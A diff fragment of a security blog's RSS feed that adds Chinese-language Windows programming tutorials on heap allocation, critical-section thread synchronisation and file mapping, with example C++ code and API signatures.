style="display:flex;"><span> <span style="color:#75715e">/* +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> # 在已分配的基础上继续分配 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> DECLSPEC_ALLOCATOR LPVOID HeapReAlloc( +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> HANDLE hHeap, // 堆句柄 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> DWORD dwFlags, // 内存分配标志 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> _Frees_ptr_opt_ LPVOID lpMem, // 分配内存后的位置 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> SIZE_T dwBytes // 分配大小(字节为单位) +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> ); +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"> */</span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">HeapReAlloc</span>(hHeapRand, HEAP_ZERO_MEMORY<span style="color:#f92672">|</span> HEAP_REALLOC_IN_PLACE_ONLY, (LPVOID)tAlloc,<span style="color:#ae81ff">24</span>); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">lstrcpy</span>((LPTSTR)tAlloc, <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;HEllo&#34;</span>)); +</span></span><span style="display:flex;"><span> DWORD dwHeapSize <span style="color:#f92672">=</span> <span style="color:#a6e22e">HeapSize</span>(hHeapRand, HEAP_NO_SERIALIZE, tAlloc); +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>wcout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;HeapSize : &#34;</span> <span style="color:#f92672">&lt;&lt;</span> dwHeapSize <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">HeapFree</span>(hHeapRand, HEAP_NO_SERIALIZE, tAlloc); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">HeapDestroy</span>(hHeapRand); +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span><span style="color:#a6e22e">wprintf</span>(<span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;Success ... </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>)); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">system</span>(<span style="color:#e6db74">&#34;pause&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x03-虚拟内存页管理">0x03 虚拟内存页管理</h2> +<h3 id="申请虚拟内存页">申请虚拟内存页</h3> +<p><strong>VirtualAlloc</strong></p>Windows - 线程同步https://payloads.online/archivers/2018-12-20/Windows-CriticalSection/Thu, 20 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-20/Windows-CriticalSection/<h2 id="0x00-线程基础">0x00 线程基础</h2> +<p>每个线程的堆栈空间不同,在多线程执行时,可以互不干扰的运行,但是全局变量保存在全局区,当多个线程读写全局变量时,由于读写操作不是原子的,会发生程序错乱。</p> +<h3 id="为什么不是原子">为什么不是原子?</h3> +<p>当自增、自减时,需要两行汇编指令,而CPU线程调度的最小单位是一行汇编指令,所以当某个值自增时,操作就不是原子的。</p> +<p>为了保证多线程读写全局变量达到同步,可以使用临界区技术,Windows正是实现了这个技术,提供了对应的API。</p> <h2 id="0x01-令牌线程同步">0x01 令牌线程同步</h2> <p>代码:</p> <div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> @@ -2578,7 +5022,68 @@ file gets deleted.</p>驱动人生供应链 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">39 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">40 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">41 -</span></code></pr</description></item><item><title>Windows 文件映射https://payloads.online/archivers/2018-12-20/windows-FileMapping/Thu, 20 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-20/windows-FileMapping/<h2 id="0x00-文件映射的原理">0x00 文件映射的原理</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">// ConsoleApplication2.cpp : 定义控制台应用程序的入口点。 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#75715e">#include</span> <span style="color:#75715e">&#34;stdafx.h&#34;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;iostream&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;Windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span>DWORD num <span style="color:#f92672">=</span> <span style="color:#ae81ff">100</span>; +</span></span><span style="display:flex;"><span>CRITICAL_SECTION cs; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>DWORD WINAPI <span style="color:#a6e22e">ThreadPro1</span>() { +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">EnterCriticalSection</span>(<span style="color:#f92672">&amp;</span>cs); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> (num <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span>) { +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>wcout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Thread num :&#34;</span> <span style="color:#f92672">&lt;&lt;</span> num <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34; Thread ID :&#34;</span> <span style="color:#f92672">&lt;&lt;</span> <span style="color:#a6e22e">GetCurrentThreadId</span>() <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> num<span style="color:#f92672">--</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">LeaveCriticalSection</span>(<span style="color:#f92672">&amp;</span>cs); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">10</span>; +</span></span><span style="display:flex;"><span>} +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>DWORD WINAPI <span style="color:#a6e22e">ThreadPro2</span>() { +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">EnterCriticalSection</span>(<span style="color:#f92672">&amp;</span>cs); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">while</span> (num <span style="color:#f92672">&gt;</span> <span style="color:#ae81ff">0</span>) { +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>wcout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34;Thread num :&#34;</span> <span style="color:#f92672">&lt;&lt;</span> num <span style="color:#f92672">&lt;&lt;</span> <span style="color:#e6db74">&#34; Thread ID :&#34;</span> <span style="color:#f92672">&lt;&lt;</span> <span style="color:#a6e22e">GetCurrentThreadId</span>() <span style="color:#f92672">&lt;&lt;</span> std<span style="color:#f92672">::</span>endl; +</span></span><span style="display:flex;"><span> num<span style="color:#f92672">--</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">LeaveCriticalSection</span>(<span style="color:#f92672">&amp;</span>cs); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">10</span>; +</span></span><span style="display:flex;"><span>} +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">_tmain</span>() +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> HANDLE hThread[<span style="color:#ae81ff">2</span>]; +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">InitializeCriticalSection</span>(<span style="color:#f92672">&amp;</span>cs); +</span></span><span style="display:flex;"><span> hThread[<span style="color:#ae81ff">0</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateThread</span>(NULL, <span style="color:#ae81ff">0</span>,(PTHREAD_START_ROUTINE) ThreadPro1, NULL, <span style="color:#ae81ff">0</span>, NULL); +</span></span><span style="display:flex;"><span> hThread[<span style="color:#ae81ff">1</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateThread</span>(NULL, <span style="color:#ae81ff">0</span>, (PTHREAD_START_ROUTINE)ThreadPro2, NULL, <span style="color:#ae81ff">0</span>, NULL); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">WaitForMultipleObjects</span>(<span style="color:#ae81ff">2</span>, hThread, TRUE,INFINITE); +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span><span style="color:#a6e22e">wprintf</span>(<span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;Success ... </span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>)); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">system</span>(<span style="color:#e6db74">&#34;pause&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x02-令牌api">0x02 令牌API</h2> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span>CRITICAL_SECTION cs; // 创建临界区变量 +</span></span><span style="display:flex;"><span>InitializeCriticalSection(CRITICAL_SECTION *); // 初始化临界区变量 +</span></span><span style="display:flex;"><span>EnterCriticalSection(CRITICAL_SECTION *);//获取临界区变量 +</span></span><span style="display:flex;"><span>LeaveCriticalSection(CRITICAL_SECTION *);//离开临界区 +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x03-互斥体">0x03 互斥体</h2> +<p>CRITICAL_SECTION是在进程的虚拟内存空间的一种锁,互斥体(Mutex)是用于内核级资源(内核空间)的线程同步锁,如:跨进程间的读写内核级资源。</p>Windows 文件映射https://payloads.online/archivers/2018-12-20/windows-FileMapping/Thu, 20 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-20/windows-FileMapping/<h2 id="0x00-文件映射的原理">0x00 文件映射的原理</h2> <p>文件映射(Mapping)是一种能够将文件内容映射到进程的虚拟地址空间的技术。视图(view)是一个由映射句柄开辟的一块虚拟地址空间,用于存放文件内容,当文件被映射完成后,改写视图虚拟地址空间的内容就相当于更改文件内容。</p> <p>一般情况下,当代码运行完毕后,视图将会被自动写入文件中。</p> <h2 id="0x01-文件映射的步骤">0x01 文件映射的步骤</h2> @@ -2624,7 +5129,154 @@ file gets deleted.</p>驱动人生供应链 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">30 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">31 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">32 -</span></code></pr</description></item><item><title>最近学习Windows编程总结https://payloads.online/archivers/2018-12-20/1/Thu, 20 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-20/1/<h2 id="0x00-windows-字符编码">0x00 Windows 字符编码</h2> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span><span style="color:#75715e">// ConsoleApplication2.cpp : 定义控制台应用程序的入口点。 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">// +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span><span style="color:#75715e">#include</span> <span style="color:#75715e">&#34;stdafx.h&#34;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;iostream&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e">#include</span> <span style="color:#75715e">&lt;Windows.h&gt;</span><span style="color:#75715e"> +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">int</span> <span style="color:#a6e22e">_tmain</span>() +</span></span><span style="display:flex;"><span>{ +</span></span><span style="display:flex;"><span> <span style="color:#75715e">// 内存映射 +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#75715e">// CreateFile()... +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#75715e">// CreateFileMapping()... +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#75715e">// MapViewofFile()... +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> <span style="color:#75715e">// FlushViewofFile... +</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span> HANDLE hFile <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateFile</span>(<span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;C:</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">Temp</span><span style="color:#ae81ff">\\</span><span style="color:#e6db74">99.txt&#34;</span>), GENERIC_ALL, <span style="color:#ae81ff">0</span>, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (hFile <span style="color:#f92672">==</span> INVALID_HANDLE_VALUE) { +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span>wcout <span style="color:#f92672">&lt;&lt;</span> <span style="color:#a6e22e">GetLastError</span>(); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">MessageBox</span>(<span style="color:#ae81ff">0</span>, <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;CreateFile&#34;</span>), <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;Error&#34;</span>), MB_OK); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> HANDLE hMap <span style="color:#f92672">=</span> <span style="color:#a6e22e">CreateFileMapping</span>(hFile, NULL, PAGE_READWRITE, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">1024</span>, <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;f&#34;</span>)); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> (hMap <span style="color:#f92672">==</span> INVALID_HANDLE_VALUE) { +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#f92672">-</span><span style="color:#ae81ff">1</span>; +</span></span><span style="display:flex;"><span> } +</span></span><span style="display:flex;"><span> TCHAR szBuff[<span style="color:#ae81ff">100</span>] <span style="color:#f92672">=</span> <span style="color:#a6e22e">TEXT</span>(<span style="color:#e6db74">&#34;sssss</span><span style="color:#ae81ff">\n</span><span style="color:#e6db74">&#34;</span>); +</span></span><span style="display:flex;"><span> TCHAR <span style="color:#f92672">*</span> pFileVoid <span style="color:#f92672">=</span> (TCHAR <span style="color:#f92672">*</span>)<span style="color:#a6e22e">MapViewOfFile</span>(hMap, FILE_MAP_ALL_ACCESS, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">0</span>, <span style="color:#ae81ff">1024</span>); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">_tcscpy_s</span>(pFileVoid, <span style="color:#a6e22e">_countof</span>(szBuff), szBuff); +</span></span><span style="display:flex;"><span> std<span style="color:#f92672">::</span><span style="color:#a6e22e">wprintf</span>(pFileVoid); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">system</span>(<span style="color:#e6db74">&#34;pause&#34;</span>); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">CloseHandle</span>(hMap); +</span></span><span style="display:flex;"><span> <span style="color:#a6e22e">CloseHandle</span>(hFile); +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> <span style="color:#ae81ff">0</span>; +</span></span><span style="display:flex;"><span>} +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x03-api-list">0x03 API List</h2> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">9 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>HANDLE WINAPI <span style="color:#a6e22e">CreateFile</span>( +</span></span><span style="display:flex;"><span> _In_ LPCTSTR lpFileName, +</span></span><span style="display:flex;"><span> _In_ DWORD dwDesiredAccess, +</span></span><span style="display:flex;"><span> _In_ DWORD dwShareMode, +</span></span><span style="display:flex;"><span> _In_opt_ LPSECURITY_ATTRIBUTES lpSecurityAttributes, +</span></span><span style="display:flex;"><span> _In_ DWORD dwCreationDisposition, +</span></span><span style="display:flex;"><span> _In_ DWORD dwFlagsAndAttributes, +</span></span><span style="display:flex;"><span> _In_opt_ HANDLE hTemplateFile +</span></span><span style="display:flex;"><span>); +</span></span></code></pre></td></tr></table> +</div> +</div><hr> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">8 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>HANDLE WINAPI <span style="color:#a6e22e">CreateFileMapping</span>( +</span></span><span style="display:flex;"><span> _In_ HANDLE hFile, +</span></span><span style="display:flex;"><span> _In_opt_ LPSECURITY_ATTRIBUTES lpAttributes, +</span></span><span style="display:flex;"><span> _In_ DWORD flProtect, +</span></span><span style="display:flex;"><span> _In_ DWORD dwMaximumSizeHigh, +</span></span><span style="display:flex;"><span> _In_ DWORD dwMaximumSizeLow, +</span></span><span style="display:flex;"><span> _In_opt_ LPCTSTR lpName +</span></span><span style="display:flex;"><span>); +</span></span></code></pre></td></tr></table> +</div> +</div><hr> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">7 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>LPVOID WINAPI <span style="color:#a6e22e">MapViewOfFile</span>( +</span></span><span style="display:flex;"><span> _In_ HANDLE hFileMappingObject, +</span></span><span style="display:flex;"><span> _In_ DWORD dwDesiredAccess, +</span></span><span style="display:flex;"><span> _In_ DWORD dwFileOffsetHigh, +</span></span><span style="display:flex;"><span> _In_ DWORD dwFileOffsetLow, +</span></span><span style="display:flex;"><span> _In_ SIZE_T dwNumberOfBytesToMap +</span></span><span style="display:flex;"><span>); +</span></span></code></pre></td></tr></table> +</div> +</div><hr> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">4 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL WINAPI <span style="color:#a6e22e">FlushViewOfFile</span>( +</span></span><span style="display:flex;"><span> _In_ LPCVOID lpBaseAddress, +</span></span><span style="display:flex;"><span> _In_ SIZE_T dwNumberOfBytesToFlush +</span></span><span style="display:flex;"><span>); +</span></span></code></pre></td></tr></table> +</div> +</div><hr> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL WINAPI <span style="color:#a6e22e">UnmapViewOfFile</span>( +</span></span><span style="display:flex;"><span> _In_ LPCVOID lpBaseAddress +</span></span><span style="display:flex;"><span>); +</span></span></code></pre></td></tr></table> +</div> +</div><hr> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">3 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-c" data-lang="c"><span style="display:flex;"><span>BOOL WINAPI <span style="color:#a6e22e">UnmapViewOfFile</span>( +</span></span><span style="display:flex;"><span> _In_ LPCVOID lpBaseAddress +</span></span><span style="display:flex;"><span>); +</span></span></code></pre></td></tr></table> +</div> +</div><h2 id="0x04-创建一个超大文件">0x04 创建一个超大文件</h2> +<p>在写Example的过程中,我发现申请映射的内存空间会把每个字节写入文件中。</p>最近学习Windows编程总结https://payloads.online/archivers/2018-12-20/1/Thu, 20 Dec 2018 00:00:00 +0000https://payloads.online/archivers/2018-12-20/1/<h2 id="0x00-windows-字符编码">0x00 Windows 字符编码</h2> <p>目前Windows最常见的字符集:</p> <ul> <li>1.ASCII</li> @@ -2653,7 +5305,65 @@ file gets deleted.</p>驱动人生供应链 </span><span 